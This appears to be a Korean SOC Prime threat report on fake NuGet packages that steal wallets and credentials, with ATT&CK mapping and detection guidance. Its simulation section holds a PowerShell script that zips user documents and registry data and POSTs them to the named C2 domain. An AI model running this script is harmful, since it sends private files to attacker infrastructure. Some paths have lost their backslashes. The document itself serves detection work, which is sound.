SOC Prime Bias: 중요

12 5월 2026 18:21

다섯 가지 가짜 NuGet UI 패키지가 암호 지갑과 자격 증명을 탈취합니다

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
다섯 가지 가짜 NuGet UI 패키지가 암호 지갑과 자격 증명을 탈취합니다
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

계정 아래 게시된 다섯 개의 NuGet 패키지 bmrxntfj 중국의 잘 알려진 .NET UI 라이브러리를 위장하고 .NET Reactor로 보호된 정보 탈취기를 내장합니다. 악성 페이로드는 DLL이 로드되는 즉시 활성화되며, JIT 컴파일러를 하이재킹하고, 브라우저 자격 증명, 암호화폐 지갑 데이터, SSH 키, 로컬 파일을 탈취하여 새로 등록된 명령 제어 도메인으로 전송합니다. 빈번한 버전 변경과 숨겨진 패키지 목록은 해시 기반 탐지를 회피하며, 개발자 워크스테이션과 CI/CD 환경 모두에 위험을 만듭니다.

조사

연구자들은 .NET Reactor로 보호된 악성 코드를 해제하여 we4ftg.exe라는 이름의 2차 단계 .NET 어셈블리를 식별하고, 메모리에서 구성 문자열을 복구했습니다. 분석 결과 타겟팅된 브라우저 및 지갑 확장을 보여주었고, 사용자 정의 HTTP 헤더 스킴이 문서화되었으며, OneDrive 디렉토리 하의 스테이징 위치가 확인되었습니다. 조사는 또한 명령 및 제어 도메인, IP 주소와 관련된 개인 Git 서버를 포함한 인프라 세부 사항도 발견했습니다.

완화 방안

방어자들은 확인된 명령 및 제어 도메인 및 IP 주소로의 DNS 해석 및 아웃바운드 트래픽을 차단하고 OneDrive 폴더 내부에 keys.dat 파일 생성을 모니터링하여 사용자 정의 X-xxx HTTP 헤더를 경고해야 합니다. 모든 IR.* 패키지는 종속성 트리에서 제거하고 확인된 합법적 라이브러리로 대체해야 합니다. 잠재적으로 노출된 모든 자격 증명, 토큰 및 비밀은 즉시 회전해야 합니다.

응답

하나의 악성 IR.* 패키지를 복원하거나 로드한 시스템은 손상된 것으로 간주하고 격리하며, 전체 자격 증명 회전을 거쳐야 합니다. 탐지 내용은 게시된 지표로 업데이트해야 하며, NuGet 갤러리 관리자와 협력하여 악성 패키지를 제거하고 출판사 계정을 정지시켜야 합니다.

"graph TB %% 클래스 정의 classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% 노드 – 기술 tech_supply_chain["<b>기술</b> – <b>T1195.002 공급망 공격</b><br/><b>설명</b>: 소프트웨어 공급망을 손상시켜 합법적 패키지에 악성 코드를 주입합니다."] class tech_supply_chain technique tech_appdomain_hijack["<b>기술</b> – <b>T1574.014 실행 흐름 하이재킹: .NET AppDomain Manager</b><br/><b>설명</b>: 대항자들이 .NET AppDomainManager를 하이재킹하여 의도된 응용 프로그램이 시작되기 전에 코드를 실행합니다."] class tech_appdomain_hijack technique tech_obfuscation["<b>기술</b> – <b>T1027 파일 또는 정보 난독화</b><br/><b>설명</b>: 패킹, 암호화 또는 기타 방법을 사용하여 악성 코드 또는 데이터를 숨깁니다."] class tech_obfuscation technique tech_trusted_dev_proxy["<b>기술</b> – <b>T1127 신뢰할 수 있는 개발자 유틸리티 프록시 실행</b><br/><b>설명</b>: 합법적인 개발자 유틸리티 또는 패키지 관리자를 악용하여 악성 코드를 실행합니다."] class tech_trusted_dev_proxy technique tech_software_ext["<b>기술</b> – <b>T1176 소프트웨어 확장</b><br/><b>설명</b>: 소프트웨어 확장 또는 플러그인을 이용하여 실행을 획득합니다."] class tech_software_ext technique tech_process_discovery["<b>기술</b> – <b>T1057 프로세스 검색</b><br/><b>설명</b>: 피해 시스템에서 실행 중인 프로세스를 나열합니다."] class tech_process_discovery technique tech_file_dir_discovery["<b>기술</b> – <b>T1083 파일 및 디렉토리 검색</b><br/><b>설명</b>: 가치 있는 데이터를 찾기 위해 파일 및 디렉토리를 나열합니다."] class tech_file_dir_discovery technique tech_browser_info["<b>기술</b> – <b>T1217 브라우저 정보 검색</b><br/><b>설명</b>: 설치된 브라우저 및 확장 프로그램에 대한 정보를 수집합니다."] class tech_browser_info technique tech_browser_credentials["<b>기술</b> – <b>T1555.003 웹 브라우저에서 자격 증명</b><br/><b>설명</b>: 브라우저에서 저장된 비밀번호, 쿠키 및 기타 자격 증명 자료를 추출합니다."] class tech_browser_credentials technique tech_private_keys["<b>기술</b> – <b>T1552.004 보안이 없는 자격 증명: 개인 키</b><br/><b>설명</b>: 개인 SSH 키와 기타 암호화 키를 찾아서 유출합니다."] class tech_private_keys technique tech_credentials_files["<b>기술</b> – <b>T1552.001 파일 내 자격 증명</b><br/><b>설명</b>: 구성 또는 데이터 파일에 저장된 자격 증명 자료를 검색합니다."] class tech_credentials_files technique tech_data_staged_local["<b>기술</b> – <b>T1074.001 지역 데이터 스테이징</b><br/><b>설명</b>: 수집된 데이터는 유출하기 전에 로컬 호스트에 집계됩니다."] class tech_data_staged_local technique tech_data_staged_remote["<b>기술</b> – <b>T1074.002 원격 데이터 스테이징</b><br/><b>설명</b>: 데이터는 클라우드 저장소와 같은 원격 위치에 스테이징됩니다."] class tech_data_staged_remote technique tech_process_injection["<b>기술</b> – <b>T1055.001 프로세스 주입: 동적 링크 라이브러리 주입</b><br/><b>설명</b>: 합법적인 프로세스에 악성 DLL을 주입하여 은밀한 실행을 수행합니다."] class tech_process_injection technique tech_sandbox_evasion["<b>기술</b> – <b>T1497.002 가상화/샌드박스 회피: 사용자 활동 기반 검토</b><br/><b>설명</b>: 알려진 사용자 이름 또는 컴퓨터 이름을 확인하여 샌드박스 환경을 탐지합니다."] class tech_sandbox_evasion technique tech_c2_web["<b>기술</b> – <b>T1071.001 응용 프로그램 계층 프로토콜: 웹 프로토콜</b><br/><b>설명</b>: HTTP/S를 사용하여 명령 및 제어 서버와 통신합니다."] class tech_c2_web technique tech_junk_data["<b>기술</b> – <b>T1001.001 데이터 난독화: 정크 데이터</b><br/><b>설명</b>: 네트워크 페이로드에 무작위 노이즈를 추가하여 탐지를 방해합니다."] class tech_junk_data technique %% 노드 – 도구 및 악성 코드 tool_nuget_pkg["<b>도구</b> – <b>이름</b>: 악성 NuGet 패키지 IR.*<br/><b>설명</b>: NuGet에 게시된 패키지로, 합법적인 중국 .NET 라이브러리를 모방하며 복원 중에 다운로드 됩니다."] class tool_nuget_pkg tool tool_dotnet_reactor["<b>도구</b> – <b>이름</b>: .NET Reactor (Necrobit)<br/><b>설명</b>: .NET 어셈블리를 패킹하고 암호화하며, RSAu20111024 내구성 서명을 추가합니다."] class tool_dotnet_reactor tool malware_payload["<b>악성 코드</b> – <b>이름</b>: .NET Reactor 페이로드<br/><b>설명</b>: AppDomainManager 초기화자가 로드하는 암호화된 .NET 어셈블리입니다."] class malware_payload malware tool_sharpinjector["<b>도구</b> – <b>이름</b>: SharpInjector<br/><b>설명</b>: explorer.exe와 같은 장기 실행 프로세스에 DLL 주입을 수행하는 .NET 인젝터입니다."] class tool_sharpinjector tool process_explorer["<b>프로세스</b> – <b>이름</b>: explorer.exe"] class process_explorer process process_dllhost["<b>프로세스</b> – <b>이름</b>: dllhost.exe"] class process_dllhost process data_staged_file["<b>데이터</b> – <b>경로</b>: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% 흐름 연결 tech_supply_chain –>|전달| tool_nuget_pkg tool_nuget_pkg –>|트리거| tech_appdomain_hijack tech_appdomain_hijack –>|로드| malware_payload malware_payload –>|패킹| tool_dotnet_reactor tool_dotnet_reactor –>|활성화| tech_obfuscation tech_obfuscation –>|촉진| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|사용| tech_software_ext tech_software_ext –>|활성화| tech_process_discovery tech_process_discovery –>|이끕니다| tech_file_dir_discovery tech_file_dir_discovery –>|이끕니다| tech_browser_info tech_browser_info –>|활성화| tech_browser_credentials tech_browser_credentials –>|수집| tech_private_keys tech_private_keys –>|수집| tech_credentials_files tech_credentials_files –>|스테이징| tech_data_staged_local tech_data_staged_local –>|기록| data_staged_file data_staged_file –>|동기화| tech_data_staged_remote tech_data_staged_remote –>|사용| tool_sharpinjector tool_sharpinjector –>|주입| process_explorer tool_sharpinjector –>|주입| process_dllhost process_explorer –>|지원| tech_process_injection process_dllhost –>|지원| tech_process_injection tech_process_injection –>|체크| tech_sandbox_evasion tech_sandbox_evasion –>|허용| tech_c2_web tech_c2_web –>|전송| tech_junk_data %% 클래스 할당 class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "

공격 흐름

시뮬레이션 실행

전제조건: 원격 감시 및 기준점 확인 사전 비행 확인이 통과되었습니다.

근거: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 측 기술(TTP)의 정확한 실행을 설명합니다. 명령어와 설명은 식별된 TTP를 직접 반영하여 탐지 논리에서 예상되는 정확한 원격 감시를 생성해야 합니다. 추상적이거나 관련 없는 예시는 오진을 초래할 수 있습니다.

  • 공격 서사 및 명령어:
    적대자는 피해자 .NET 응용 프로그램에 가져올 때 PowerShell 페이로드를 시작하는 합법적인 NuGet 패키지를 손상시켰습니다. 페이로드는 다음 단계를 수행합니다:

    1. 탐색(T1082, T1083): OS 버전을 수집하고 사용자의 문서를 나열합니다.
    2. 자격 증명 수집(T1552.001): 레지스트리에서 저장된 자격 증명을 읽습니다.
    3. 아카이브(T1560): 수집된 파일을 ZIP 아카이브로 압축합니다.
    4. 헤더 난독화(T1027): 커스텀 HTTP 헤더를 추가합니다 X-Auth-Token: <무작위 문자열> 로 유출 트래픽을 위장합니다.
    5. C2 유출(T1071.001, T1005, T1195.002): 악성 C2 서버로 아카이브를 POST하여 dns-providersa2.com (또는 하드코딩된 IP 62.84.102.85).

    직접 Sigma 규칙의 X- 절을 충족하며, 대상 또한 정적 IoC와 일치합니다. 절을 충족하며, 대상 또한 정적 IoC와 일치합니다. 회귀 테스트 스크립트:

  • Regression Test Script:

    # -----------------------------------------------------------------
    # 회귀 테스트 – “악성 C2 통신” Sigma 규칙 트리거
    # -----------------------------------------------------------------
    # 1. 시스템 정보 수집(T1082)
    $sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory
    
    # 2. 사용자 문서 나열(T1083)
    $docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue
    
    # 3. 레지스트리에서 샘플 자격 증명 읽기(T1552.001)
    $credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU"
    $storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String
    
    # 4. 데이터 패키징(T1560)
    $tempZip = "$env:TEMPexfil_$(Get-Random).zip"
    $items = @($sysInfo, $docs, $storedCred)
    Compress-Archive -Path $items -DestinationPath $tempZip -Force
    
    # 5. 커스텀 HTTP 헤더 준비(난독화 – T1027)
    $authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())"
    
    # 6. HTTP POST를 통해 악성 C2로 유출(T1071.001)
    $c2 = "http://dns-providersa2.com/upload"
    Invoke-WebRequest -Uri $c2 `
                      -Method Post `
                      -InFile $tempZip `
                      -ContentType "application/octet-stream" `
                      -Headers @{'X-Auth-Token' = $authToken}
    
    # 7. 로컬 아티팩트 정리
    Remove-Item $tempZip -Force
  • 정리 명령어:

    # 테스트에서 남아 있을 수 있는 임시 파일 삭제
    Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force
    
    # 방화벽 로그 크기 초기화(선택사항)
    netsh advfirewall set allprofiles logging maxfilesize 4096